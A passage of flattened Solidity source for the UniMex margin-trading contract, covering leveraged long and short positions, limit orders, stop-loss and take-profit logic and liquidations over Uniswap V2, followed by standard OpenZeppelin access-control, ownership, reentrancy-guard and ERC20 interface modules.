* values[1] scaledLeverage
* values[2] minimalSwapAmount
* values[3] takeProfitPercent
* values[4] stopLossPercent
*/
function _openPosition(address owner, address token, bool isShort, uint256[5] memory values)
private nonReentrant returns (bytes32) {
require(!paused, "PAUSED");
require(values[0] > 0, "AMOUNT_ZERO");
require(values[4] < 1e6, "STOPLOSS EXCEEDS MAX");
address pool = unimex_factory.getPool(address(isShort ? IERC20(token) : WETH));
require(pool != address(0), "POOL_DOES_NOT_EXIST");
require(values[1] <= unimex_factory.getMaxLeverage(token).mul(MAG), "LEVERAGE_EXCEEDS_MAX");
require(checkPositionAmount(token, values[0], values[1]), "NOT_ENOUGH_UNISWAP_LIQUIDITY");
uint256 amountInWeth = isShort ? calculateConvertedValue(token, WETH_ADDRESS, values[0]) : values[0];
uint256 commitment = getCommitment(amountInWeth, values[1]);
uint256 commitmentWithLb = commitment.add(calculateAutoCloseBonus());
require(balanceOf[owner] >= commitmentWithLb, "NO_BALANCE");
IUniMexPool(pool).borrow(values[0]);
uint256 swap;
{
(address baseToken, address quoteToken) = isShort ? (token, WETH_ADDRESS) : (WETH_ADDRESS, token);
swap = swapTokens(baseToken, quoteToken, values[0]);
require(swap >= values[2], "INSUFFICIENT_SWAP");
}
uint256 fees = (swap.mul(4)).div(1000);
swap = swap.sub(fees);
if(!isShort) {
fees = swapTokens(token, WETH_ADDRESS, fees); // convert fees to ETH
}
transferFees(fees, pool);
transferUserToEscrow(owner, owner, commitmentWithLb);
positionNonce = positionNonce + 1; //possible overflow is ok
bytes32 positionId = getPositionId(
owner,
token,
values[0],
values[1],
positionNonce
);
Position memory position = Position({
owed: values[0],
input: swap,
commitment: commitmentWithLb,
token: token,
isShort: isShort,
startTimestamp: uint32(block.timestamp),
owner: owner,
borrowInterest: borrowInterestPercentScaled,
takeProfitPercent: uint32(values[3]),
stopLossPercent: uint32(values[4])
});
positionInfo[positionId] = position;
emit OnOpenPosition(owner, positionId, isShort, token, values[1]);
if(position.takeProfitPercent > 0) {
emit OnTakeProfit(positionId, swap, position.takeProfitPercent, token, isShort);
}
if(position.stopLossPercent > 0) {
emit OnStopLoss(positionId, swap, position.stopLossPercent, token, isShort);
}
return positionId;
}
/**
* @dev add additional commitment to an opened position. The amount
* must be initially approved
* @param positionId id of the position to add commitment
* @param amount the amount to add to commitment
*/
function addCommitmentToPosition(bytes32 positionId, uint256 amount) public {
Position storage position = positionInfo[positionId];
_checkPositionIsOpen(position);
position.commitment = position.commitment.add(amount);
WETH.safeTransferFrom(msg.sender, address(this), amount);
escrow[position.owner] = escrow[position.owner].add(amount);
emit OnAddCommitment(positionId, amount);
}
/**
* @dev allows anyone to close position if it's loss exceeds threshold
*/
function setStopLoss(bytes32 positionId, uint32 percentAmount) public {
require(percentAmount < 1e6, "STOPLOSS EXCEEDS MAX");
Position storage position = positionInfo[positionId];
_checkPositionIsOpen(position);
require(msg.sender == position.owner, "NOT_OWNER");
position.stopLossPercent = percentAmount;
emit OnStopLoss(positionId, position.input, percentAmount, position.token, position.isShort);
}
/**
* @dev allows anyone to close position if it's profit exceeds threshold
*/
function setTakeProfit(bytes32 positionId, uint32 percentAmount) public {
Position storage position = positionInfo[positionId];
_checkPositionIsOpen(position);
require(msg.sender == position.owner, "NOT_OWNER");
position.takeProfitPercent = percentAmount;
emit OnTakeProfit(positionId, position.input, percentAmount, position.token, position.isShort);
}
function autoClose(bytes32 positionId) public isHuman {
Position storage position = positionInfo[positionId];
_checkPositionIsOpen(position);
//check constraints
(address baseToken, address quoteToken) = position.isShort ? (WETH_ADDRESS, position.token) : (position.token, WETH_ADDRESS);
uint256 swapAmount = calculateConvertedValue(baseToken, quoteToken, position.input);
uint256 hundredPercent = 1e6;
require((position.takeProfitPercent != 0 && position.owed.mul(hundredPercent.add(position.takeProfitPercent)).div(hundredPercent) <= swapAmount) ||
(position.stopLossPercent != 0 && position.owed.mul(hundredPercent.sub(position.stopLossPercent)).div(hundredPercent) >= swapAmount), "SL_OR_TP_UNAVAILABLE");
//withdraw bonus from position commitment
uint256 closeBonus = calculateAutoCloseBonus();
position.commitment = position.commitment.sub(closeBonus);
WETH.safeTransfer(msg.sender, closeBonus);
transferEscrowToUser(position.owner, address(0), closeBonus);
_closePosition(positionId, position, 0);
}
function calculateAutoOpenBonus() public view returns(uint256) {
return thresholdGasPrice.mul(510000);
}
function calculateAutoCloseBonus() public view returns(uint256) {
return thresholdGasPrice.mul(270000);
}
/**
* @dev opens position that can be opened at a specific price
*/
function openLimitOrder(address token, bool isShort, uint256 amount, uint256 minimalSwapAmount,
uint256 leverageScaled, uint32 validBefore, uint32 takeProfitPercent, uint32 stopLossPercent) public {
require(!paused, "PAUSED");
require(stopLossPercent < 1e6, "STOPLOSS EXCEEDS MAX");
require(validBefore > block.timestamp, "INCORRECT_EXP_DATE");
uint256[3] memory values256 = [amount, minimalSwapAmount, leverageScaled];
uint32[3] memory values32 = [validBefore, takeProfitPercent, stopLossPercent];
_openLimitOrder(token, isShort, values256, values32);
}
/**
* @dev values256[0] - amount
* values256[1] - minimal swap amount
* values256[2] - scaled leverage
* values32[0] - valid before
* values32[1] - take profit percent
* values32[2] - stop loss percent
*/
function _openLimitOrder(address token, bool isShort, uint256[3] memory values256, uint32[3] memory values) private {
uint256 escrowAmount; //stack depth optimization
{
uint256 commitment = isShort ? getCommitment(values256[1], values256[2]) : getCommitment(values256[0], values256[2]);
escrowAmount = commitment.add(calculateAutoOpenBonus()).add(calculateAutoCloseBonus());
require(balanceOf[msg.sender] >= escrowAmount, "INSUFFICIENT_BALANCE");
transferUserToEscrow(msg.sender, msg.sender, escrowAmount);
}
bytes32 limitOrderId = _getLimitOrderId(token, values256[0], values256[1], values256[2],
values[0], msg.sender, isShort);
Limit memory limitOrder = Limit({
token: token,
amount: values256[0],
minimalSwapAmount: values256[1],
leverageScaled: uint32(values256[2].div(1e14)),
validBefore: values[0],
owner: msg.sender,
escrowAmount: escrowAmount,
isShort: isShort,
takeProfitPercent: values[1],
stopLossPercent: values[2]
});
limitOrders[limitOrderId] = limitOrder;
emitLimitOrderEvent(limitOrderId, token, values256, values, escrowAmount, isShort);
}
function emitLimitOrderEvent(bytes32 limitOrderId, address token, uint256[3] memory values256,
uint32[3] memory values, uint256 escrowAmount, bool isShort) private {
emit OnLimitOrder(limitOrderId, msg.sender, token, values256[0], values[1], values256[2], values[0], escrowAmount,
values[1], values[2], isShort);
}
function cancelLimitOrder(bytes32 limitOrderId) public {
Limit storage limitOrder = limitOrders[limitOrderId];
require(limitOrder.owner == msg.sender, "NOT_OWNER");
transferEscrowToUser(limitOrder.owner, limitOrder.owner, limitOrder.escrowAmount);
delete limitOrders[limitOrderId];
emit OnLimitOrderCancelled(limitOrderId);
}
function autoOpen(bytes32 limitOrderId) public isHuman {
//get limit order
Limit storage limitOrder = limitOrders[limitOrderId];
require(limitOrder.owner != address(0), "NO_ORDER");
require(limitOrder.validBefore >= uint32(block.timestamp), "EXPIRED");
//check open rate
(address baseToken, address quoteToken) = limitOrder.isShort ? (limitOrder.token, WETH_ADDRESS) : (WETH_ADDRESS, limitOrder.token);
uint256 swapAmount = calculateConvertedValue(baseToken, quoteToken, limitOrder.amount);
require(swapAmount >= limitOrder.minimalSwapAmount, "LIMIT_NOT_SATISFIED");
uint256 openBonus = calculateAutoOpenBonus();
//transfer bonus from escrow to caller
WETH.transfer(msg.sender, openBonus);
transferEscrowToUser(limitOrder.owner, limitOrder.owner, limitOrder.escrowAmount.sub(openBonus));
transferEscrowToUser(limitOrder.owner, address(0), openBonus);
//open position for user
uint256[5] memory values = [limitOrder.amount, uint256(limitOrder.leverageScaled.mul(1e14)),
limitOrder.minimalSwapAmount, uint256(limitOrder.takeProfitPercent), uint256(limitOrder.stopLossPercent)];
bytes32 positionId = _openPosition(limitOrder.owner, limitOrder.token, limitOrder.isShort, values);
//delete order id
delete limitOrders[limitOrderId];
emit OnLimitOrderCompleted(limitOrderId, positionId);
}
function _getLimitOrderId(address token, uint256 amount, uint256 minSwapAmount,
uint256 scaledLeverage, uint256 validBefore, address owner, bool isShort) private pure returns (bytes32) {
return keccak256(abi.encodePacked(token, amount, minSwapAmount, scaledLeverage, validBefore,
owner, isShort));
}
function _checkPositionIsOpen(Position storage position) private view {
require(position.owner != address(0), "NO_OPEN_POSITION");
}
function closePosition(bytes32 positionId, uint256 minimalSwapAmount) external isHuman {
Position storage position = positionInfo[positionId];
_checkPositionIsOpen(position);
require(msg.sender == position.owner, "BORROWER_ONLY");
_closePosition(positionId, position, minimalSwapAmount);
}
function _closePosition(bytes32 positionId, Position storage position, uint256 minimalSwapAmount) private nonReentrant{
uint256 scaledRate;
if(position.isShort) {
scaledRate = _closeShort(positionId, position, minimalSwapAmount);
}else{
scaledRate = _closeLong(positionId, position, minimalSwapAmount);
}
deletePosition(positionId, position, 0, scaledRate);
}
function _closeShort(bytes32 positionId, Position storage position, uint256 minimalSwapAmount) private returns (uint256){
uint256 input = position.input;
uint256 owed = position.owed;
uint256 commitment = position.commitment;
address pool = unimex_factory.getPool(position.token);
uint256 poolInterestInTokens = calculateBorrowInterest(positionId);
uint256 swap = swapTokens(WETH_ADDRESS, position.token, input);
require(swap >= minimalSwapAmount, "INSUFFICIENT_SWAP");
uint256 scaledRate = calculateScaledRate(input, swap);
require(swap >= owed.add(poolInterestInTokens).mul(input).div(input.add(commitment)), "LIQUIDATE_ONLY");
bool isProfit = owed < swap;
uint256 amount;
uint256 fees = poolInterestInTokens > 0 ? calculateConvertedValue(position.token, address(WETH), poolInterestInTokens) : 0;
if(isProfit) {
uint256 profitInTokens = swap.sub(owed);
amount = swapTokens(position.token, WETH_ADDRESS, profitInTokens); //profit in eth
} else {
uint256 commitmentInTokens = swapTokens(WETH_ADDRESS, position.token, commitment);
uint256 remainder = owed.sub(swap);
require(commitmentInTokens >= remainder, "LIQUIDATE_ONLY");
amount = swapTokens(position.token, WETH_ADDRESS, commitmentInTokens.sub(remainder)); //return to user's balance
}
if(isProfit) {
if(amount >= fees) {
transferEscrowToUser(position.owner, position.owner, commitment);
transferToUser(position.owner, amount.sub(fees));
} else {
uint256 remainder = fees.sub(amount);
transferEscrowToUser(position.owner, position.owner, commitment.sub(remainder));
transferEscrowToUser(position.owner, address(0), remainder);
}
} else {
require(amount >= fees, "LIQUIDATE_ONLY"); //safety check
transferEscrowToUser(position.owner, address(0x0), commitment);
transferToUser(position.owner, amount.sub(fees));
}
transferFees(fees, pool);
transferToPool(pool, position.token, owed);
return scaledRate;
}
function _closeLong(bytes32 positionId, Position storage position, uint256 minimalSwapAmount) private returns (uint256){
uint256 input = position.input;
uint256 owed = position.owed;
address pool = unimex_factory.getPool(WETH_ADDRESS);
uint256 fees = calculateBorrowInterest(positionId);
uint256 swap = swapTokens(position.token, WETH_ADDRESS, input);
require(swap >= minimalSwapAmount, "INSUFFICIENT_SWAP");
uint256 scaledRate = calculateScaledRate(swap, input);
require(swap.add(position.commitment) >= owed.add(fees), "LIQUIDATE_ONLY");
uint256 commitment = position.commitment;
bool isProfit = swap >= owed;
uint256 amount = isProfit ? swap.sub(owed) : commitment.sub(owed.sub(swap));
transferToPool(pool, WETH_ADDRESS, owed);
transferFees(fees, pool);
transferEscrowToUser(position.owner, isProfit ? position.owner : address(0x0), commitment);
transferToUser(position.owner, amount.sub(fees));
return scaledRate;
}
/**
* @dev helper function, indicates when a position can be liquidated.
* Liquidation threshold is when position input plus commitment can be converted to 110% of owed tokens
*/
function canLiquidate(bytes32 positionId) public view returns(bool) {
Position storage position = positionInfo[positionId];
uint256 liquidationBonus = calculateAutoCloseBonus();
uint256 canReturn;
if(position.isShort) {
uint256 positionBalance = position.input.add(position.commitment);
uint256 valueToConvert = positionBalance < liquidationBonus ? 0 : positionBalance.sub(liquidationBonus);
canReturn = calculateConvertedValue(WETH_ADDRESS, position.token, valueToConvert);
} else {
uint256 canReturnOverall = calculateConvertedValue(position.token, WETH_ADDRESS, position.input)
.add(position.commitment);
canReturn = canReturnOverall < liquidationBonus ? 0 : canReturnOverall.sub(liquidationBonus);
}
uint256 poolInterest = calculateBorrowInterest(positionId);
return canReturn < position.owed.add(poolInterest).mul(LIQUIDATION_MARGIN).div(MAG);
}
/**
* @dev Liquidates position and sends a liquidation bonus from user's commitment to a caller.
* can only be called from account that has the LIQUIDATOR role
*/
function liquidatePosition(bytes32 positionId, uint256 minimalSwapAmount) external isHuman nonReentrant {
Position storage position = positionInfo[positionId];
_checkPositionIsOpen(position);
uint256 canReturn;
uint256 poolInterest = calculateBorrowInterest(positionId);
uint256 liquidationBonus = calculateAutoCloseBonus();
uint256 liquidatorBonus;
uint256 scaledRate;
if(position.isShort) {
uint256 positionBalance = position.input.add(position.commitment);
uint256 valueToConvert;
(valueToConvert, liquidatorBonus) = _safeSubtract(positionBalance, liquidationBonus);
canReturn = swapTokens(WETH_ADDRESS, position.token, valueToConvert);
require(canReturn >= minimalSwapAmount, "INSUFFICIENT_SWAP");
scaledRate = calculateScaledRate(valueToConvert, canReturn);
} else {
uint256 swap = swapTokens(position.token, WETH_ADDRESS, position.input);
require(swap >= minimalSwapAmount, "INSUFFICIENT_SWAP");
scaledRate = calculateScaledRate(swap, position.input);
uint256 canReturnOverall = swap.add(position.commitment);
(canReturn, liquidatorBonus) = _safeSubtract(canReturnOverall, liquidationBonus);
}
require(canReturn < position.owed.add(poolInterest).mul(LIQUIDATION_MARGIN).div(MAG), "CANNOT_LIQUIDATE");
_liquidate(position, canReturn, poolInterest);
transferEscrowToUser(position.owner, address(0x0), position.commitment);
WETH.safeTransfer(msg.sender, liquidatorBonus);
deletePosition(positionId, position, liquidatorBonus, scaledRate);
}
function _liquidate(Position memory position, uint256 canReturn, uint256 fees) private {
address baseToken = position.isShort ? position.token : WETH_ADDRESS;
address pool = unimex_factory.getPool(baseToken);
if(canReturn > position.owed) {
transferToPool(pool, baseToken, position.owed);
uint256 remainder = canReturn.sub(position.owed);
if(remainder > fees) { //can pay fees completely
if(position.isShort) {
remainder = swapTokens(position.token, WETH_ADDRESS, remainder);
if(fees > 0) { //with fees == 0 calculation is reverted with "UV2: insufficient input amount"
fees = calculateConvertedValue(position.token, WETH_ADDRESS, fees);
if(fees > remainder) { //safety check
fees = remainder;
}
}
}
transferFees(fees, pool);
transferToUser(position.owner, remainder.sub(fees));
} else { //all is left is for fees
if(position.isShort) {
//convert remainder to weth
remainder = swapTokens(position.token, WETH_ADDRESS, canReturn.sub(position.owed));
}
transferFees(remainder, pool);
}
} else {
//return to pool all that's left
transferToPool(pool, baseToken, canReturn);
}
}
function setStaking(address _staking) external onlyOwner {
require(_staking != address(0));
staking = IUniMexStaking(_staking);
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner public {
paused = true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner public {
paused = false;
}
function setThresholdGasPrice(uint256 gasPrice) public {
require(hasRole(LIQUIDATOR_ROLE, msg.sender), "NOT_LIQUIDATOR");
thresholdGasPrice = gasPrice;
}
/**
* @dev set interest rate for tokens owed from pools. Scaled to 10 (e.g. 150 is 15%)
*/
function setBorrowPercent(uint32 _newPercentScaled) external onlyOwner {
borrowInterestPercentScaled = _newPercentScaled;
}
function calculateScaledRate(uint256 wethAmount, uint256 tokenAmount) private pure returns (uint256 scaledRate) {
if(tokenAmount == 0) {
return 0;
}
return wethAmount.mul(MAG).div(tokenAmount);
}
function transferUserToEscrow(address from, address to, uint256 amount) private {
require(balanceOf[from] >= amount);
balanceOf[from] = balanceOf[from].sub(amount);
escrow[to] = escrow[to].add(amount);
}
function transferEscrowToUser(address from, address to, uint256 amount) private {
require(escrow[from] >= amount);
escrow[from] = escrow[from].sub(amount);
balanceOf[to] = balanceOf[to].add(amount);
}
function transferToUser(address to, uint256 amount) private {
balanceOf[to] = balanceOf[to].add(amount);
}
function getPositionId(
address maker,
address token,
uint256 amount,
uint256 leverage,
uint256 nonce
) private pure returns (bytes32 positionId) {
//date acts as a nonce
positionId = keccak256(
abi.encodePacked(maker, token, amount, leverage, nonce)
);
}
function calculateConvertedValue(address baseToken, address quoteToken, uint256 amount) private view returns (uint256) {
address token0;
address token1;
(token0, token1) = UniswapV2Library.sortTokens(baseToken, quoteToken);
IUniswapV2Pair pair = IUniswapV2Pair(uniswap_factory.getPair(token0, token1));
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 value;
if (token1 == baseToken) {
value = UniswapV2Library.getAmountOut(amount, reserve1, reserve0);
} else {
value = UniswapV2Library.getAmountOut(amount, reserve0, reserve1);
}
return value;
}
function swapTokens(address baseToken, address quoteToken, uint256 input) private returns (uint256 swap) {
if(input == 0) {
return 0;
}
IERC20(baseToken).approve(address(uniswap_router), input);
address[] memory path = new address[](2);
path[0] = baseToken;
path[1] = quoteToken;
uint256 balanceBefore = IERC20(quoteToken).balanceOf(address(this));
IUniswapV2Router02(uniswap_router).swapExactTokensForTokensSupportingFeeOnTransferTokens(
input,
0, //checks are done after swap in caller functions
path,
address(this),
block.timestamp
);
uint256 balanceAfter = IERC20(quoteToken).balanceOf(address(this));
swap = balanceAfter.sub(balanceBefore);
}
function getCommitment(uint256 _amount, uint256 scaledLeverage) private pure returns (uint256 commitment) {
commitment = (_amount.mul(MAG)).div(scaledLeverage);
}
function transferFees(uint256 fees, address pool) private {
uint256 halfFees = fees.div(2);
// Pool fees
WETH.approve(pool, halfFees);
IUniMexPool(pool).distribute(halfFees);
// Staking Fees
WETH.approve(address(staking), fees.sub(halfFees));
staking.distribute(fees.sub(halfFees));
}
function transferToPool(address pool, address token, uint256 amount) private {
IERC20(token).approve(pool, amount);
IUniMexPool(pool).repay(amount);
}
function _safeSubtract(uint256 from, uint256 amount) private pure returns (uint256 remainder, uint256 subtractedAmount) {
if(from < amount) {
remainder = 0;
subtractedAmount = from;
} else {
remainder = from.sub(amount);
subtractedAmount = amount;
}
}
function setAmountThresholds(uint32 leverage5) public onlyOwner {
amountThresholds = leverage5;
}
function checkPositionAmount(address token, uint256 amount, uint256 leverageScaled) public view returns (bool) {
if(leverageScaled <= 1e18) {
return true;
}
address token0;
address token1;
(token0, token1) = UniswapV2Library.sortTokens(token, WETH_ADDRESS);
IUniswapV2Pair pair = IUniswapV2Pair(uniswap_factory.getPair(token0, token1));
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 tokenLiquidity = token0 == token ? reserve0 : reserve1;
if (leverageScaled <= 2e18) {
return amount < tokenLiquidity.mul(amountThresholds).mul(1109).div(1000).div(1e4);
} else {
return amount < tokenLiquidity.mul(amountThresholds).div(1e4);
}
}
function deletePosition(bytes32 positionId, Position storage position, uint256 liquidatedAmount, uint256 scaledRate) private {
emit OnClosePosition(
positionId,
position.token,
position.owner,
position.owed,
position.input,
position.commitment,
position.startTimestamp,
position.isShort,
position.borrowInterest,
liquidatedAmount,
scaledRate
);
delete positionInfo[positionId];
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/EnumerableSet.sol";
import "../utils/Address.sol";
import "../utils/Context.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
